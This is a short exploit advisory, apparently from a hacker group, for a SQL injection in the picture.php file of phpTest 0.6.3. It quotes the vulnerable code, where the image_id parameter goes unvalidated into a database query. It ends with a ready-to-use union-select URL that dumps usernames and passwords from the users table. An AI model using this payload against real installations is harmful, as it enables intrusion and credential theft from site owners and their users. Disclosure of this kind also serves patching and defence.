########################################################################################
#
# Name : phpTest 0.6.3 (picture.php image_id) Remote SQL Injection Vulnerability
# Author : cOndemned [ Dark-Coders ]
# Dork : sorry, today no dork [;
# Greetz : ZaBeaTy, str0ke, GregStar, Voo|doo, ixos, 0in, suN8Hclf, TBH, Avantura :*
#
########################################################################################
Source code of "picture.php" :
24. pt_register('GET', 'image_id');
25.
26. if (isset($image_id)) {
27. $result = $db->query("SELECT filetype, data FROM images WHERE image_id = $image_id");
28.
29. if ($db->num_rows($result)) {
30. $row = $db->fetch_object($result);
31. header("Content-type: $row->filetype");
32. echo $row->data;
Description :
line 24 - $image_id is taken from user using $_GET method
line 27 - There is absolutly no validation of $image_id + We can se amount of columns - 2
line 31 - header type doesn't matter....
line 32 - Result of MySQL Query is being printed here.
Exploit :
http://[host]/[phpTest]/picture.php?image_id=-1+union+select+1,concat_ws(0x3a3a,username,password)+from+users/*